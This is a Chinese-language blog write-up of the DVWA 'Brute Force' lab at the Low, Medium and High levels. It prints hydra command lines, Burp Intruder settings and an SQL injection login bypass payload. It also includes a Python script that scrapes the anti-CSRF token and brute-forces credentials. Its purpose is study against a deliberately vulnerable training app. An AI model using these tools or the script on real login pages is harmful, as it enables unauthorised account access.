Brute Force(暴力破解)

前言

主要针对dvwa的Brute Force做一个练习,学习了解Brute Force。
主要会用到brupsuite和hydra两个工具。

练习

Low

可以看到下面是暴力破解的界面,但看到这个界面我第一反应是先尝试sql注入(最近在一个靶场练习,里面有道sql注入也是这种用户登录,而且暂时还没搞定…,后面搞定再写篇博客讲讲菜鸡的辛酸泪…),言归正传,我们还是先尝试暴力破解,然后再试下sql注入
1

暴力破解我知道的工具是hydra,然后我看到有博客用的burp两个我都试下吧
先使用下burp吧
burp先要抓包
2

抓到包后右键,选择send to intruder
然后就可以看到上面的菜单栏intruder变成红色了,点击进入intruder界面
首先是Target界面,填写网站ip和port,如果是https勾选上选框
3

第二个界面Positions ,先说下面的http报文,这里是要选择攻击的位置,把要攻击的字段选中
比如username后面的1就前后用$包起来,旁边的add,clear,auto,都很好理解,可以自己试下
4

上面的type有4种类型

1.Sniper

这里是依次拿字典去替换其中的一列,比如上面我们选中的username和password。这里会保持其中一个为我们的输入值,而字典替换另一个值
5
可以看到上面的图position表示位置,1就表示username,2就是后面的password。后面的payload就表示替换前面位置的值

2.Battering ram

这个也是只需要一个字典,遍历字典,每次用遍历的值替换所有位置(字典有n个值得话就会攻击n次)
6

3.Pitchfork

这个是有多个字典,根据你选择的攻击的位置的数量来定的,比如上面有username和password,就需要两个字典,同时遍历字典,每次从字典取出的值组成一组数据,进行攻击,当其中任一字典遍历完的时候,攻击就结束(攻击次数为最短字典长度)
7
可以看到用户字典有4个但因为密码字典只有两个所以只有两次攻击

4.Cluster Bomb

这个也是需要有多个字典,也是根据你选择的攻击的位置的数量来定的,比如上面有username和password,就需要两个字典。但我觉得这个是比较正常或者说通用的吧。这里是会穷尽所有组合
比如第一个字典里有1,2,第二个字典里也有1,2.它就会用(1,1),(1,2),(2,1),(2,2)来进行4次攻击
8
可以看到上面的3个用户名和2个密码就组成了6次攻击

Ok,我们这里是对用户登陆页面进行一个暴破,所以这里我们选择Cluster Bomb,分别建立用户的字典和密码的字典(暴力破解字典是很重要的,这里因为是练习就简单的构建下字典)
image-20190420133054252
Ok,分别将username和pawword保存到两个文件中,然后在payloads中对应导入(payload set1对应username payload set2对应 password)

现在就是最激动人心的时刻了,点击右上方的start attack
攻击开始…

image-20190420133522616
攻击结束你会看到如上图所示界面,怎么判断成功没有了,我们主要length长度来判断,因为登陆成功和登陆失败返回的界面是不一样的,返回页面大小也就存在区别

我们看到admin password返回的长度是4704
image-20190420133845720
点击查看返回的html页面我们可以看到welcome admin的字样
在登陆界面我们用admin password进行尝试,可以看到确实登陆成功
image-20190420134030728

下面我们再来试下hydra

(hydra我真的搞了好久好久,一直不对,直到我在油管上找了一个hydra的视频看,发现下面也有遇到更我相似问题的人,才解决,你敢相信仅仅只是少了一个空格…hydra真的是对语法非常敏感…)
hydra真的是语法超级敏感,我这里就不介绍具体用法了,仔细看官方手册吧…

hydra 192.168.2.205 -L username -P password -V -s 8331 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie:PHPSESSID=4ucu8k4127vtpat7bjmmgmeum2; security=low"

hydra 192.168.2.205 -L username -P password -V -s 8331 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=4ucu8k4127vtpat7bjmmgmeum2; security=low"
(不要在意这里ip的变化,换了下环境)

OK,上面的两个代码是不是看起来几乎一摸一样(真的就只差了一个空格)
但结果却差别很大
image-20190421121202612
image-20190421121311548
可以看上面两张图,第一张图是第一条命令运行出来的,你会发现你做的25次尝试它告诉你都是对了…
下面是第二条语句运行出来的,没错它运行出了正确结果…
image-20190421121647962
没错3年前就有人人跟我有一样的问题了,我并不孤单…

还有hydra有个图形界面xhydra,但并没有什么卵用,相当于把命令行拆成了几个输入框,依旧语法敏感
image-20190421123525182
这里url空格少了会依旧不对,可以看到最下面,它给你转成的命令行…还不如自己手工输入…
这里突然觉得brup的暴力破解还是很好用的,只是免费版的只能单线程…

最后我们来试下sql注入

对于这种登陆版的sql注入目前我能想到的
有两种

  1. select * from table where username= and password =

  2. select password from table where username =

第一种就直接已用户名和密码为条件查询是否有存在
第二种是已输入的用户名查询出密码再进行密码的比较
image-20190421125019168

可以看到这里应该是第一种情况,最简单的注入就成功了
但这里要注意的是admin‘ or 1=1 # 并不会成功,这里的username类似主键是唯一的,所以它对查询结果的数目做了检测
`if(\$result&&mysql_num_rows($result)==1)`

所以上面的方法至少要加上limit 1,admin‘ or 1=1 limit 1#这样就会成功

Medium

Medium 在暴力破解上并没有什么太多的难度增加
可以审计代码,发现仅仅是在错的时候增加了两秒的延迟…毕竟我们都是用工具,我们可以等的…(实测用上面的方法同理可以过)
但对sql注入进行了特殊字符转义和采用第二种查询方式。
对于这种字符型注入增并加了mysql_real_escape_string函数的,我是懵逼的…特别是这数据库版本也很新
这里版本低的话有宽字节注入的方法,下次我试下再来说吧,可以参考下面的文章

魔术引号、addslashes和mysql_real_escape_string的防御以及绕过

High

high级别加入了user_token,每次页面返回数据会给你一个token,下次再去访问的时候必须携带token值才行。因为token值是不断变化的brup和hydra这两个工具就用不上了…这时候需要自己写脚本了,当然用python了(当年写爬虫用过的模块那些基本忘的差不多了…),好久没写脚本的我感到很痛苦…(硬着头皮上哦)

基本是模仿brup的Cluster Bomb模式写的,也是单线程…(写的好痛苦,urllib,xpath这些完全忘了…python3)

import urllib.request

from lxml import etree

header={

'Host': '192.168.2.123:8325',

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',

'Referer': 'http://192.168.2.123:8325/',

'Connection': 'close',

'Cookie': 'PHPSESSID=o3csrqt6bd24ag0g8v05klqkh1; security=high'

}

def get_content(url):

global header

request = urllib.request.Request(url = url, headers=header)

response = urllib.request.urlopen(request).read().decode('utf-8')

return response

def get_tocken(content):

html = etree.HTML(content)

result = html.xpath('//div[contains(@class,"vulnerable_code_area")]//input[contains(@type,"hidden")]/@value')

return result[0]

def judge_flag(content):

flag = 'Username and/or password incorrect.'

if flag in content:

return False

return True

def main():

url ="http://192.168.2.123:8325/vulnerabilities/brute/"

tocken = get_tocken(get_content(url))

with open('username', 'r') as un:

username = un.readline()

while username:

with open('password', 'r') as pw:

password = pw.readline()

while password:

url = "http://192.168.2.123:8325/vulnerabilities/brute/?username=" + username.strip() + "&password=" + password.strip() + "&Login=Login&user_token=" + tocken + "#"

content = get_content(url)

if judge_flag(content):

print('username:%s password:%s success!!!' %(username.strip(),password.strip()))

tocken = get_tocken(content)

password = pw.readline()

username = un.readline()

print('over!')

if __name__ == "__main__":

main()

image-20190423001126252
可以看到很成功的跑出了结果…

Impossible

错误次数过多会锁定账户,这就没法爆破了…

总结

爆破首先我觉得要有一个好的字典
其次对方没有太好的防爆破机制(我觉得限制次数后就很难做了)
这里我们也没遇到验证码那些(爬虫的时候识别验证码感觉人工智能准确率并不高,当然模型训练的也不太好)
总之,我觉得爆破的技术含量也不是很高,重在字典的建立(或者说社会工程学?)

参考

  1. 新手指南:DVWA-1.9全级别教程之Brute Force
  2. 关于Burp Suite Intruder 的四种攻击方式
  3. Hydra暴力破解工具的用法
  4. 魔术引号、addslashes和mysql_real_escape_string的防御以及绕过

路漫漫其修远兮,吾将上下而求索